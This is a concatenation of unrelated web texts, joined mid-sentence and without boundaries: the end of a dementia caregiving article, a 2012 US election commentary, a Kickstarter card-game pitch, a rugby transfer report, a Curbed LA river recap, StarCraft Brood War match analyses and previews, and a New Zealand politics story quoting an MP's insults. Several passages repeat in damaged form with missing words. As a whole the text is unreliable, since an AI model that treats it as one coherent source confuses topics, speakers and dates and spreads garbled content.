DLB doesn't have as much name recognition as Alzheimer's and Parkinson's disease, which is why even some nurses and doctors may not be familiar with the condition or its symptoms, notes NIH. It's often up to a person's caregiver to educate healthcare professionals, friends and other family about the condition, and these demands, along with the responsibility of caring someone with DLB, could grow overwhelming.
Caregivers and people with loved ones who have DLB can seek help with support groups like the Family Caregiver's Alliance and the federal government's Eldercare Locator, which links people with community services in their area. For more guidance on how to explain dementia to teens and children, NIH recommends Alzheimer's Association Teens and Kids and Alzheimer's Foundation Of America Teens.
Need help? In the U.S., call 1-800-273-8255 for the National Suicide Prevention Lifeline.
Also on HuffPost:Obama’s odds just improved And it has nothing to do with healthcare
As important as yesterday’s Supreme Court ruling was to the future of healthcare policy in the United States, it probably won’t have much, if any, impact on the November election.
Each side can make a decent case for why the verdict is a political winner (Republicans: Now the only recourse for voters who want to get rid of the law is to vote for Romney; Democrats: It’s a high-profile validation of the law that will lessen the fears of swing voters), so it probably won’t lead to a big boost for either candidate. More important is the likelihood that healthcare itself just won’t be a major factor in swing voters’ minds this fall.
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But the state of the economy will, which makes a surprise overnight development from thousands of miles away potentially more significant to the Obama-Romney race than what happened in Washington.
Meeting in Brussels, European leaders reached two tentative agreements that could provide crucial aid to some of the continent’s most debt-ridden countries. One involves using Europe’s bailout fund to directly recapitalize banks – as opposed to forcing national governments to act as middlemen and subjecting them to harsh terms and conditions. Spain and Italy had been pushing for this provision, though there was little expectation they would prevail when the summit convened.
The other agreement calls for countries to be given access to rescue funds to shore up their bond markets without being subjected to the sorts of austerity demands that, for instance, Ireland and Greece were burdened with.
It’s still possible that both agreements could blow up. The direct aid to banks, for instance, will only come about if and when a new oversight panel is established by the European Central Bank, something that will take months. And there would still be conditions placed on nations receiving aid for their bond markets – they just won’t be as severe as before. Still, both agreements represent surprise concessions by Germany, which has been resistant to taking new steps to aid its beleaguered EU counterparts.
From the standpoint of domestic U.S. politics, the significance of this is obvious: It makes stability in Europe more likely and decreases the immediate prospects of a new wave of economic catastrophe on the continent, something that could have a devastating spillover effect on the American economy.
That’s why, at least potentially, this is such good news for Obama. There are still no signs that the economy will roar to life between now and November. After dropping in the late months of 2011 and the early months of this year, the jobless rate has stalled at just over 8 percent, and isn’t expected to fall significantly in the months ahead. This might be enough to cost Obama a second term, but it's not impossible he could overcome it; there’s some solid evidence that he’s actually performing better than he should be given the current economic conditions and that some swing voters are giving him the benefit of the doubt because they remember what he inherited.
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What he’d have more trouble overcoming is a sudden and serious dip in the economy in the next few months, something that fresh turmoil in Europe could set off. What happened in Brussels overnight hardly solves Europe’s problems, but it makes it less likely that Obama will end up losing his job because of events playing out on another continent.About
Dungeon Zone is a new card game created by Daniel W. Leighly at FireBall Monster Games.
Hi everyone, my name is Dan Leighly and I am the graphic designer and game designer, for FireBall Monster Games.
This game is ready to play! It has been tested, redesigned and tested again, tweaked, and polished to perfection. We are only asking for $2500 dollars to get this game printed. This amount will be funded 80% with just the $20.00 (Limited to 100) Pledge. The remaining $500.00 will come from the other pledge amounts, and the project campaign will only be running for 21 days so that the backers can have the game in their hands sooner.
This Pledge Goal will give us enough to print about 125 games to start, and with Stretch Goal amounts even more.
Everything is ready to go. The cards have been proofed, the rules have been written, and the files are ready to send to the printer. All that is needed is the funding, and for me to say Print It!
Help me spread the word about this game and get this project rolling.
The game is a Blast!
Why should you back Dungeon Zone?
Dungeon Zone is a fun, interactive game to play. The game itself is easy to learn, and is set up and ready to play in minutes. The Fantasy Artwork brings together Monsters, Creatures, Zombies, and Dragons along with Weapons that you use to defeat them, and who doesn't like Monsters, Creatures, Zombies, and Dragons, huh? Even your Mom would approve.
The dungeon cards lay out in an easy to solve puzzle-type system which makes collecting points both fun and interesting. It is a great game to add to your collection, and your friends will simply love this game, and so will you.
Dungeon Zone is a 2-4 Player Game. The game is designed to pit player against player in a battle to build dungeons.
Dungeon cards are used to complete dungeons and collect points. There are four different types of dungeons. Blue Stone, Cobblestone, Orange Stone, and Sandstone.
The object of the game is to collect points by building dungeons while stopping your opponent with Monsters, Creatures, Zombies, Warriors, and Dragons.
The deck has 90 cards including four two-sided rule and game guide cards.
Players use Weapons and Character cards to defeat Creatures and Monsters placed in their path.
Each of the four different dungeons has a different point value. A Blue Stone Dungeon is worth 20 points. An Orange Stone Dungeon is worth 15 points. A Sandstone Dungeon is worth 10 points, and a Cobblestone Dungeon is worth 5 points.
The player who creates 5 complete dungeons with the highest points wins the game.
Creatures, Monsters, Zombies, and the like are played against other players to stop, block, or delay them from building and completing their dungeons.
Where is the Money Going?
With the initial pledge goal, most of the money will go towards printing the game, and the postage to ship the game to you, the backers. I will also contribute 5% of all profits towards the Kicking It Forward program to help fund other projects on KickStarter. If we continue to reach higher pledge and stretch goal amounts, I will use that money to improve this game with better quality cards, artwork, and future stretch goals.
I will be keeping the product manufacturing 100% in the United States. I want to do everything within my power to help this game become a success, but at the same time, I strongly believe in helping to rebuild the American Economy. I hope to achieve both goals with your help.
http://kickingitforward.org /
Game Components:
Dungeon Zone
32 Dungeon Cards
32 Monster Cards
16 Weapon Cards
4 Game Guide Cards
2 Magic Skull Cards
4 Rule Cards
Click the link below to download the rules.
http://www.montanadan.com/dungeonzonerules1.pdf
Game and Card Design by Daniel W. Leighly
aka (MontanaDan)
Dungeon Zone / Montana.com
Copyright © 2013
Wiseowlweb/Jointventures-Empire
Daniel W. Leighly All Rights Reserved
Original Artist D.faulTx
http://d-faultx.deviantart.com/gallery/23681356?offset=0
The original Artwork has been modified, and is used under a Creative Commons Attribution 3.0 License. (CC BY 3.0)
A Word from the Designer:
I really like this game, and I am confident that you will like it also. My desire is for this project to succeed because it is a way to share my creative dreams with others. It is my goal to continue to create more games in the future, and with your help we can all share a little part of that dream. Thanks for your support.
Dan "MontanaDan" Leighly.Bidding farewell - for now: Ben Barba. Credit:Getty Images "There is a sort of an agreement amongst all the codes that if there are existing sanctions in place in one code, and a player chooses to change to another code, the codes always, relentlessly, carry those sanctions across," said Pulver. "I literally landed this morning so I haven't spoken to Todd (Greenberg) but I promise you Todd and I will be completely aligned on this issue, as he would be if a rugby player was going to rugby league. "There won't be an issue between the ARU and the NRL, it'll really be an issue that we need to talk - once we understand the sanction in detail - there will be a conversation with the FFR (French National Union) and France who will be responsible for talking to their club and if the sanction does not allow him to play rugby league in Australia next weekend, he won't be playing rugby union in Australia next weekend." Duco Events, the organisers of the Brisbane Tens tournament, were keen for Barba to make his rugby debut for Toulon next week but have played down the ARU ban saying it is "not a big deal".
"We've got 300-plus players at this tournament so losing one that was never there in the first place is not a big deal," Duco Events co-owner Dean Lonergan said. "We haven't really lost anything. "Ben Barba would have been a curiosity factor. "I was mildly looking forward to it but am I disappointed he is not going to be there? Not really." Barba has left the door ajar on a possible NRL comeback in the future, but claimed the lack of a "clear pathway" on a 2017 return ultimately resulted in his defection to rugby union.
Barba's career has been at the crossroads ever since he registered a positive test to cocaine following Cronulla's grand final celebrations. The 27 year old formally apologised for those actions in a statement issued by his management firm, Pacific Sports Management. "I take full responsibility for my actions, I made a terrible mistake and I own it and will have to live it," Barba said. "I have four young daughters which will one day ask the question about how I won a grand final with my best mates at the Sharks and then made a poor choice which changed my life and my reputation forever, that is a hard conversation I am not looking forward to". Barba, who has been struggling financially without an income since being stood down, said he had been in career limbo since his transgression. "In regard to the NRL and Sharks handling of my matter I will say that until yesterday afternoon I had no 'clear pathway' outlined to me of how I was entering back into rugby league," Barba said.
"A phone call from NRL CEO Todd Greenberg provided me for the first time since October a clear picture of my position which I thank Todd for taking the time to contact me and discuss it, also I openly provided him with my current circumstances. "The fact is I am a father of four little girls and like other fathers I am the primary income earner for my family. Since October, I have been unemployed and I have financial commitments like any other father, I am a professional athlete with a set of skills which I can't earn a living from in this country and I needed a job. "It was advised that my contract with the Sharks was not going to be registered until just before round 12 which placed the club in a difficult position regarding their financial position and if or how I may earn an income through this period. I understand I placed myself in this position and again apologise to the club and all those including my family for the trouble I have caused. "I decided last week I needed to make some choices and stop leaving it in the hands of other people [Cronulla coach Shane Flanagan and CEO Lyall Gorman]. "I spoke with my agents Chris and Gavin Orr and asked what my options were, they investigated all possible options and Toulon and Mike Ford seemed the best fit for me. I am happy with my decision and I am very much looking forward to the challenge and the new chapter in my life. It's a fresh start and hopefully a successful one, I wish my teammates at the Sharks all the very best for the 2017 season.
"'Au revoir' everyone, thanks for the memories and who knows I may return down the track you never say never." The NRL has no jurisdiction over the French Top 14 competition, allowing Barba to resume his footballing career almost immediately. Barba, who wanted to set the record straight after being caught "off guard" when approached by reporters at his home, thanked Cronulla for their support during his stint in the Shire. "I would first like to thank Shane, Lyall and the entire Cronulla Sharks Football club for everything they have done for both my family and I," he said. "It is certainly appreciated and won't be forgotten.It's the last week in December, when according to tradition we make up a bunch of awards and hand them out to all the best, worst, and shitshowiest of things that happened in Los Angeles real estate, architecture, and neighborhoods this year. These are your 2013 Curbed Awards.
Whatever neighborhood wins the 2013 Curbed Cup this year, it'll be a neighborhood that lies along the banks of the Los Angeles River, and really it was the 51-mile-long waterway that had the most exciting 2013 of all. As money and energy has flowed east- and Downtown-ward, and as LA has moved away from car-centricity to become a more walkable, bikeable, people-oriented city, the river has become a new focus—as public space, as wildlife habitat, as economic opportunity, and as the fussy but lovable heart of a city known for its complicated relationship with nature. Here, a recap of the LA River's amazing year:
January 1: Per State Bill 1201, the LA River abandoned its old life as a flood control channel and began anew as a navigable waterway, which means the county has to make it accessible to the public.
January 24: The city launched the Northeast Los Angeles Riverfront Collaborative to create an eight-mile-long Northeast Los Angeles Riverfront District.
April 27: The Los Angeles River Revitalization Corporation held its first bike-in movie night on the river's banks.
May 27: For the first time since the '30s, the river opened to the public for general recreation.
July 13: Brief setback when a tanker truck crashed and the river caught on fire. It rebounded pretty quickly.
July 23: Greenway 2020 launched with the goal of creating a continuous greenway and bike path along all 51 miles of the river by 2020.
July 24: An LA Times article on the river noted that "There is even increasing talk at City Hall and elsewhere that a bid from L.A. to host the 2024 Summer Olympics could include new facilities near or along the river."
August 15: Pause for a trip down memory lane: Photos of the Los Angeles River before it was paved in 1938 (and the story of that paving).
September 13: The Army Corps of Engineers, which paved the river back in the day, returned to announce a massive restoration plan for 11 miles of the river running between Griffith Park and Downtown. Still, it's the least ambitious and cheapest of three plans under consideration.
September 13: Councilmember Tom LaBonge introduced a City Council motion to look into bringing duck boat tours to the river.
September 17: We compared seven views of the river as it is now with the river as it'll look after the Army Corps's restoration plan.
September 17: The City Council approved the "iconic" La Kretz Crossing to bridge the river between Griffith Park and Atwater Village.
Late September: River advocates including the mayor began to lobby the feds to move ahead with the Army Corps's most ambitious and comprehensive restoration plan, Alternative 20.
December 10: The City Council moved to begin negotiations to buy the giant, riverside Taylor Yard parcel in Glassell and Cypress Parks so that it can be turned into public open space and wetlands.
· LA River Rising [Curbed LA]
· Curbed Awards 2013 [Curbed LA] |
dragoons were forced to race back to defend his base. His unit count was sufficient, and he was able to hold on to his natural.Unfortunately, this momentary victory was deceptive, as it is often the case against Flash. Flash had already started his third command centre in his main while JangBi was pinned down, and had started his progression towards 3-3.The game settled down into a terribly familiar pattern, and one that rarely results in a Protoss victory. Flash took his third, getting his upgrades and turtling while the Protoss rushed to four bases and headed for late game tech. He attempted to regain some initiative with a pair of speed shuttles - which I do like in theory - but Flash was on them in an instant. Floating buildings gave him a second’s warning on the incoming reavers, and the SCVs were already gone by the time the scarab arrived. Trying to harass wasn't the wrong decision, it's just that he was trying to harass Flash, and was thus was wasting his time. Settled down on his four bases JangBi prepared for the inevitable as best as he could, with a strong ground army comprised of dragoons, speedlots, storms in shuttles and a carrier tech switch in the works. Flash just sat on his three bases, upgraded his mech and dropped a money scan right on the stargates.The moment finally came, and the Terran tank line came to life and pushed forwards, complete with a considerable escort of science vessels to counter the HT heavy army. NBR doesn't offer much in the way of open terrain to engage but still JangBi gave ground way too easily. His army was poised for a counterattack from the bottom path, but instead he backed off looking to engage Flash's main army. This was an extremely poor decision, as Flash's main army, complete with its upgrades and EMPs, was never going to lose on NBR. In a single push Flash was able to siege up on the high ground controlling JangBi's half of the map and tank the base at 11, completely unopposed. From then on it was just textbook tank leapfrogging.Jangbi tried to fight the best he could, but he was facing EMPs and a very deep tank line. As soon as Jangbi stormed his way through the front lines, he was promptly annihilated by the forces waiting in reserve..Capitalising on his victory Flash pushed into JangBi's natural where he could also hit the 9 base, and all three of JangBi's mining bases fell at roughly the same time. With the damage done Flash backed off, content to mess around with the carriers Jangbi had managed to squeeze out. Jangbi played pretty well for a guy with no income, but goliath missiles are unlimited and interceptors are not. When it became too futile, Jangbi GG’d out.JangBi spawned at 12 on Pathfinder in brown while Flash took 8 in yellow. JangBi sent out a probe on six but scouted incorrectly and was unable to steal a fast gas. It could have been pretty nice for Jangbi if he had succeeded, as Flash didn't do his predictable rax cc or cc first and instead opted for a more standard factory first opening. JangBi headed straight for dragoons with range and a robo while Flash went for factory - machine shop - CC in main; a very defensive build. JangBi followed his first two dragoons with a quick nexus, sensing that Flash would expand fast as well.JangBi then added a second gateway and took a quick third nexus off of observer tech to ensure he knew exactly what Flash was doing. Interestingly he didn't immediately tech towards the late game but instead threw down four gateways and pumped dragoons, looking to establish mid-game map control and secure his quick third. When an observer scouted Flash's ambitions towards taking a third himself, JangBi instantly laid off the ground army focus and responded by teching towards arbiters and taking a fourth base for himself.A high gateway count gave JangBi the flexibility to respond to threats set him up for late game macro, but he did not actually build units from every gateway constantly. Pathfinder is an incredibly resource laden map, and a Protoss can spread across it very easily if not pressured. JangBi's army size remained small as he took a fourth at the mineral only, got upgrades, storms, arbiters, and everything else he needed to be strong in the late game.With an army equipped with an arbiter, storms in shuttles and speedzealots JangBi assumed he had sufficient map control and entered a second investment phase. He double expanded to the main and natural at 5 while building a LOT of gateways there. Flash had been doing his usual ridiculously passive thing, and didn’t seem to give a damn. After a minor distraction from a suicidal recall, Flash made his first move at 190 supply - a full fifteen minutes into the game on three bases. By comparison JangBi was maxed out and looking to take his seventh base. Flash charged straight down the middle of the map, ignoring the narrow corridors down the left hand side where a slow push could establish itself safely and pressure into JangBi's natural and third in favour of the brute force hammer approach. With his OSL life at stake, JangBi attempted a pushbreak.It's a simple enough thing to write out a sequence of events, but you can’t really capture the fight in words. The arbiter came in from the flank with a nice stasis, the speedlots ran down the right hand side and hit the tanks from a good angle, the storms from the shuttles scythed through the tank line and in a matter of seconds Flash's army was reduced by seventy supply. However, Flash held. As the remaining tanks cut down his dragoons JangBi disengaged but it was too late to save the dragoon heart of his army. Flash's gamble had succeeded, he'd faced a maxed out Protoss late game in open terrain and won, opening a path for him to push straight into the heart of his opponent’s territory, contain their unit production and win. Normally in this situation the Protoss will macro back faster but the Terran will have an extreme positional advantage by being able to turtle right outside production sites, while smaller forces can go around and destroy the Protoss expansions. However, JangBi had been busy.Twenty five!!! gateways surged into life, divided into thirteen in his main at 12 and twelve more in his expansion main at 5. The game would be decided by whether or not Flash fully established a strong foothold outside Jangbi’s base, so Jangbi charged his troops into the fray. The first clash went evenly, Flash losing many of his tanks while JangBi lost the last of his arbiters and dragoons. Tanks were able to besiege JangBi's natural and third, but Protoss units managed to slip out and join the main force. Amazingly JangBi was on seven bases, one hundred and ten supply and his total resources (minerals plus gas) were below five hundred. Flash's macro was equally good even though he'd just taken his fourth. At just over one hundred supply each, JangBi broke out of his natural. Flash's vultures laid mines on the path between JangBi's two main bases but it was too late, map control went back to JangBi.Without having to send his units into a constant meat grinder, Jangbi was forty supply ahead just seconds later. Flash was able to snipe the expansion at 2 but his ambitions to push up the right hand side choke (now you see the chokes on this map Flash?) was met by a maxed out Protoss with a sixty supply advantage. JangBi closed on him like a pincer, smashing through the middle of the map and fighting sieged tank lines with just dragoons. About two hundred supply worth of units died in a few seconds as JangBi pushed into Flash's third, the last few survivors making it into the mineral line and obliterated the SCVs with storm. Flash miraculously stayed alive, but that was only until JangBi's next wave of production kicked. Another fifty supply of Protoss blitzed into Flash’s territory to collect the GG.JangBi spawned at 7 in orange while Flash got white at 11 on Gladiator. JangBi went for an eleven nexus eleven gateway opener which personally I'm not a fan of. That's cutting probes incredibly hard but it does let you throw down a core the moment the gateway finished for a very quick dragoon. By cutting probes as hard as he did he allow himself to skip the second pylon and use the nexus, giving himself some extra money for a zealot at 15/17 supply. This build incredibly under-saturates the expansion, and it simply doesn't pay off in extra minerals mined compared to one gate dragoon range expansion builds because you don't have the probes to decently mine one base, let alone two, and you can't afford to pump probes from two nexuses while doing more than one gate dragoons. The only asset of the build is an incredibly fast dragoon range compared to a standard FE build, although it's still considerably slower than a normal gate core range opener.Meanwhile Flash went for a standard rax cc bunker build and was macroing up considerably more quickly. Dragoon range completed and JangBi laid siege to the bunker but was pushed back by sieged tanks without forcing too much repair. JangBi sent a probe to 6 to expand and was delayed by an scv sent out by Flash to build an ebay there. Although he cleaned it up JangBi still didn't immediately expand, instead opting for more gateways and a robo while walling 6 in to prevent further scouting. Then, about a minute later, he took 6. Now this is weird, really, really weird. If he felt he was safe to take 6 then he should have taken it immediately because he'd already shown Flash his intent to take it. Equally if he felt it was unsafe or was just trying to confuse Flash then he shouldn't have taken it. What JangBi did here is make Flash think he was going to do something but instead do that thing badly.Flash responded by taking his mineral only third but in his haste he neglected turrets, overgrouped his tanks and didn't make a bunker or float his ebay or rax to mess with dragoon AI. There's a word for this and unfortunately for Flash that word is “bad.” JangBi's observer saw everything and he promptly bulldogged it. With no floating buildings, turrets or anything else the tightly grouped tanks could only die.Although Flash was able to stabilize, JangBi's third was up and mining and he was laying down gateways, getting zealot speed and teching to arbiters. Flash attempted to take his third mineral only again and got bulldogged again and combined with the tank losses from before he lacked a critical mass to defend it. He didn't have a single spider mine and the zealots again tanked the tanks while dragoons move fired into them. As speedlots were pumped from seven gateways the mineless, vultureless tank line broke. Flash GGed.
Kwark is diamond SC2 last I heard.
By: Riptide By: Riptide
Lee Young Ho.
Do you remember when this guy was a cheesy KT newbie who could only do
Not many of you do, but the player he evolved into over time makes me almost wish he stayed that way. Flash, in essence, killed Broodwar. No, I'm not talking about ad infinitum ad nauseam, and in the process squeezed any semblance of beauty, creativity and grace from all Terran matchups.
In fact, the effect he had on how we play Broodwar is so profound that I've taken a moment here to analyse the intricacies of his TvP build.
+ Show Spoiler [Super secret Flash bonjwa build] +
Last week, Jangbi destroyed Flash. Oh but riptide, you say, destroy is such a strong word. Couldn't it be that Flash just had a bad day? It very well could be, but that doesn't change the fact that the Samsung KHAN Protoss straight up embarrassed the reigning bonjwa, completely over running him in Game 2 and then adding salt to the wound with a beautiful
In reality however, he wasn't just beating flash. He was beating, even for a moment, the trend of mindless macro pioneered by KT's Terran powerhouse. In an age where we equate winning a ton of games with greatness and high ELO with legendary play, it's fantastic that a dark horse arose to not only reduce the much hailed king of Broodwar to a pile of rubble, but do so in a manner that made us rise to our feet.
As much as you'd like to think it, I'm not a Flash anti-fan. I certainly do not deny his success. Like I said, he has been very successful, successful in making every game he plays about as interesting as watching paint dry.
But now, to the matter at hand.
I want Jangbi to win this OSL because he did the unthinkable, the impossible.
He smashed Flash. In the face.
In doing so, he also removed, even for just one OSL, the mind numbingly boring style of play that has invaded this beautiful game. I look forward to him beating soO and meeting Fantasy in the finals. I know it's an uphill battle for our young Protoss hero. I know his PvZ isn't great. Then again, he did just destroy the much revered king of the game in style, and indeed, it is the Fall.
Good hunting, Jangbi. It's time to add a gold to your medal collection.
Back to top Lee Young Ho.Do you remember when this guy was a cheesy KT newbie who could only do dumb stuff like this Not many of you do, but the player he evolved into over time makes me almost wish he stayed that way. Flash, in essence, killed Broodwar. No, I'm not talking about conspiracy theories. Flash destroyed Broodwar with the 14cc/1rax FE. This is not to say that he pioneered those builds. Oh, no, nothing as ground breaking as that. He just used themad nauseam, and in the process squeezed any semblance of beauty, creativity and grace from all Terran matchups.In fact, the effect he had on how we play Broodwar is so profound that I've taken a moment here to analyse the intricacies of his TvP build.Last week, Jangbi destroyed Flash. Oh but riptide, you say, destroy is such a strong word. Couldn't it be that Flash just had a bad day? It very well could be, but that doesn't change the fact that the Samsung KHAN Protoss straight up embarrassed the reigning bonjwa, completely over running him in Game 2 and then adding salt to the wound with a beautiful 12 (11?) nex into bulldog beatdown. It was glorious, friends. It was truly glorious.In reality however, he wasn't just beating flash. He was beating, even for a moment, the trend of mindless macro pioneered by KT's Terran powerhouse. In an age where we equate winning a ton of games with greatness and high ELO with legendary play, it's fantastic that a dark horse arose to not only reduce the much hailed king of Broodwar to a pile of rubble, but do so in a manner that made us rise to our feet.As much as you'd like to think it, I'm not a Flash anti-fan. I certainly do not deny his success. Like I said, he has been very successful, successful in making every game he plays about as interesting as watching paint dry.But now, to the matter at hand. It is the Fall and Heo Yeong Moo is in his first OSL Semi Finals. Everyone knows I'm a SKT fan, and as much as I'd like Fantasy to win his second title, I want Jangbi to win even more. He deserves it. Not only because of his STOOOOORMSSSS and not just because he is one of my favourite Protoss on the scene today. Not only because we love to root for the underdog, or because it would be nice for Samsung to catch a break.I want Jangbi to win this OSL because he did the unthinkable, the impossible.He smashed Flash. In the face.In doing so, he also removed, even for just one OSL, the mind numbingly boring style of play that has invaded this beautiful game. I look forward to him beating soO and meeting Fantasy in the finals. I know it's an uphill battle for our young Protoss hero. I know his PvZ isn't great. Then again, he did just destroy the much revered king of the game in style, and indeed, it is the Fall.Good hunting, Jangbi. It's time to add a gold to your medal collection.
Forgive his manners, he's just an SKT fan.
Semi-Final Preview
By: contagi0n
JangBi vs n.Die_soO
JangBi, you’ve shattered everyone’s expectations by getting this far at all, but the hardest part of your journey is yet ahead of you (Editor’s note: HAHAHAHAHAHAHA). Our embattled Protoss survivor here in Flash’s place makes for a much harder series to predict than the one-sided slaughter that would have taken place otherwise.
The numbers still paint a fairly clear picture though, and it’s not one that most fans are going to like. soO has been slaying Protoss left and right since the end of Winner’s League, going 10-2 from then. In addition to his recent good record, soO is arguably the most consistent of the four semi-finalists. JangBi on the other hand is 4-6 in his last 10 PvZs, and his win over Calm in tiebreakers broke a 5 game losing streak in the matchup. The maps also favor soO, even more than they favor Fantasy over Hydra. Gladiator is the only one that seems fairly even. Their head to head? 2-0 in soO’s favor, and both of those games came from the prelims of this OSL where soO beat JangBi 2-0, knocking him into the wildcard tournament.
There is some hope for the legions of JangBi fans won over by his toppling of God in the quarterfinals. What JangBi has going for him is of a decidedly less tangible nature. The first thing to take note of is that JangBi lately has played poorly in some PvZs and quite well in others. Even though he lost, his game against Jaedong from not too long ago in SPL was very impressive and his game against Calm in tiebreakers
And he just might do it. This entire tournament JangBi has been sliding to the brink of elimination only to turn around and dominate his way into the next round. JangBi’s got a lot more experience than soO in individual leagues (soO is a Royal Roader and has never entered MSL proper) and has some crazy momentum going. We got to see soO’s performance in a high stakes ZvP in the SPL finals: he played well but not above his usual standard, and lost.
I don’t expect JangBi to win this one. When all is said and done, he’s still a shaky PvZ player going into a BO5 against a strong ZvP player on unfavorable maps. Then again, no on expected him to beat Flash either.
My mind says: soO wins 3-1 or 3-2, with a minimum of one successful hydra bust.
My heart says: JangBi wins 3-2, with a breathtaking reverse sweep after barely holding on against a hydra bust in the third game.
Fantasy vs Hydra
I’ve been staring at a blank page for the last forty minutes, every now and then making a decision, writing out a couple sentences, and then changing my mind and starting from scratch. After much deliberation though, I have to give the edge to Fantasy, with some reservations.
As soon as the regular SPL season wrapped up, Fantasy started a still unbroken eight game winning streak. Part of this sudden improvement can be written off as the end of his lengthy post-OSL slump, but I think the bigger factor is that Fantasy just does better in an individual league setting. As has been pointed out plenty of times before, Fantasy's preparation, strategies, and excellent series planning are what make him such a dangerous individual league contender. Furthermore, Fantasy has far more experience both in individual leagues and series play than Hydra, who never made it as deep as the RO8 in the individual leagues until the PDPop MSL.
That isn’t to say Hydra doesn’t perform well in individual leagues. In fact, he’s proved quite the opposite in the last two MSLs. The difference between him and Fantasy though is that Hydra’s BOX performance doesn’t strike me as radically different from his performance in Proleague. In a random SPL match Hydra might be even with or even favored against Fantasy, but in a BO5 in the semifinals of the OSL, Fantasy is a lot more likely to step it up than Hydra.
Their head to head is 2:1 in Fantasy’s favor, and in the most recent and relevant of these games, Fantasy won with straight up bio in the Winner’s League playoffs. Furthermore, the maps are all statistically terran-favored.
So if everything seems to point in Fantasy’s direction, why all the reservations? I talked about how well Fantasy does in series. Do you know who his opponents were in his last three TvZ series? Hyuk, Calm, and Hyuk again. If ever there were a pair of fail prone Zergs, it was these two. Fantasy got the wins, but for the most part not in the most confidence inspiring manner possible. The best ZvT player he faced recently in individual leagues was Neo.G_Soulkey, who knocked him out of the last two MSLs in the group stages.
On the other side of the equation, Hydra’s ZvT is underrated a lot these days, perhaps because he faces Flash so often (5 of his last 10 ZvT’s were against the Ultimate Weapon, talk about a tough draw). Just looking at Hydra you can tell he's the kind of player doesn’t screw around. If Fantasy tries pulling the same crap he pulled against Calm and Hyuk, he'll be in for a rude awakening.
Prediction: Fantasy wins 3-2
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JangBi, you’ve shattered everyone’s expectations by getting this far at all, but the hardest part of your journey is yet ahead of you (). Our embattled Protoss survivor here in Flash’s place makes for a much harder series to predict than the one-sided slaughter that would have taken place otherwise.The numbers still paint a fairly clear picture though, and it’s not one that most fans are going to like. soO has been slaying Protoss left and right since the end of Winner’s League, going 10-2 from then. In addition to his recent good record, soO is arguably the most consistent of the four semi-finalists. JangBi on the other hand is 4-6 in his last 10 PvZs, and his win over Calm in tiebreakers broke a 5 game losing streak in the matchup. The maps also favor soO, even more than they favor Fantasy over Hydra. Gladiator is the only one that seems fairly even. Their head to head? 2-0 in soO’s favor, and both of those games came from the prelims of this OSL where soO beat JangBi 2-0, knocking him into the wildcard tournament.There is some hope for the legions of JangBi fans won over by his toppling of God in the quarterfinals. What JangBi has going for him is of a decidedly less tangible nature. The first thing to take note of is that JangBi lately has played poorly in some PvZs and quite well in others. Even though he lost, his game against Jaedong from not too long ago in SPL was very impressive and his game against Calm in tiebreakers elicited praise from even JangBi’s most vitriolic anti-fan. In other words, he's proven that he can PvZ formidably well. If JangBi brings that level of play to this series, he can beat soO.And he just might do it. This entire tournament JangBi has been sliding to the brink of elimination only to turn around and dominate his way into the next round. JangBi’s got a lot more experience than soO in individual leagues (soO is a Royal Roader and has never entered MSL proper) and has some crazy momentum going. We got to see soO’s performance in a high stakes ZvP in the SPL finals: he played well but not above his usual standard, and lost.I don’t expect JangBi to win this one. When all is said and done, he’s still a shaky PvZ player going into a BO5 against a strong ZvP player on unfavorable maps. Then again, no on expected him to beat Flash either.My mind says: soO wins 3-1 or 3-2, with a minimum of one successful hydra bust.My heart says: JangBi wins 3-2, with a breathtaking reverse sweep after barely holding on against a hydra bust in the third game.I’ve been staring at a blank page for the last forty minutes, every now and then making a decision, writing out a couple sentences, and then changing my mind and starting from scratch. After much deliberation though, I have to give the edge to Fantasy, with some reservations.As soon as the regular SPL season wrapped up, Fantasy started a still unbroken eight game winning streak. Part of this sudden improvement can be written off as the end of his lengthy post-OSL slump, but I think the bigger factor is that Fantasy just does better in an individual league setting. As has been pointed out plenty of times before, Fantasy's preparation, strategies, and excellent series planning are what make him such a dangerous individual league contender. Furthermore, Fantasy has far more experience both in individual leagues and series play than Hydra, who never made it as deep as the RO8 in the individual leagues until the PDPop MSL.That isn’t to say Hydra doesn’t perform well in individual leagues. In fact, he’s proved quite the opposite in the last two MSLs. The difference between him and Fantasy though is that Hydra’s BOX performance doesn’t strike me as radically different from his performance in Proleague. In a random SPL match Hydra might be even with or even favored against Fantasy, but in a BO5 in the semifinals of the OSL, Fantasy is a lot more likely to step it up than Hydra.Their head to head is 2:1 in Fantasy’s favor, and in the most recent and relevant of these games, Fantasy won with straight up bio in the Winner’s League playoffs. Furthermore, the maps are all statistically terran-favored.So if everything seems to point in Fantasy’s direction, why all the reservations? I talked about how well Fantasy does in series. Do you know who his opponents were in his last three TvZ series? Hyuk, Calm, and Hyuk again. If ever there were a pair of fail prone Zergs, it was these two. Fantasy got the wins, but for the most part not in the most confidence inspiring manner possible. The best ZvT player he faced recently in individual leagues was Neo.G_Soulkey, who knocked him out of the last two MSLs in the group stages.On the other side of the equation, Hydra’s ZvT is underrated a lot these days, perhaps because he faces Flash so often (5 of his last 10 ZvT’s were against the Ultimate Weapon, talk about a tough draw). Just looking at Hydra you can tell he's the kind of player doesn’t screw around. If Fantasy tries pulling the same crap he pulled against Calm and Hyuk, he'll be in for a rude awakening.Prediction: Fantasy wins 3-2
Administrator Hey HP can you redo everything youve ever done because i have a small complaint?A war of words has erupted over National MP Todd McClay's proposed gang patch ban, with Mana Party leader Hone Harawira labelling him a "foolish dickhead" promoting a "deeply racist" bill.
Harawira has threatened to wear a gang patch into Parliament if the bill becomes law, a move McClay says casts doubts on Harawira's suitability to be an MP.
"The guy is such an idiot," Harawira said. "I'm not going to stand by and watch a blonde, blue-eyed redneck kick around poor people who, out of desperation, bond together because they see nothing in the blonde, blue-eyed society to give them a sense of hope for their own or their children's futures."
Harawira said he was "not a great lover of gangs" but said McClay's pledge that government agencies would not deal with anyone wearing a patch, and that police would want to talk to them about criminal behaviour, was nonsense.
"The fact of the matter is that this foolish dickhead doesn't know what's going to happen. The police aren't interested in this. It's not going to be deep-blonde white-boy Todd that's going to be affected, it's going to be those working in the agencies."
McClay's Prohibition of Gang Insignia in Government Premise bill has yet to pass its first reading in Parliament, but is expected to do so. If it became law, offenders could face a fine of up to $2000. Police would also have the right to confiscate and destroy patches and insignia.
MPs vote in two weeks whether to send it to the select committee phase, and McClay says he has the numbers for that.
Labour, the Greens and Mana all oppose the bill. Harawira says that if it became law he would consider wearing a patch to Parliament, a stance McClay described as an embarrassment to the Te Tai Tokerau MP and his Mana movement.
"Harawira's defence of gang membership is shameful," McClay said. "He has told gang members to disregard any law, by saying he is considering wearing a patch to Parliament in protest. Many people would question whether views like that have any place in Parliament.
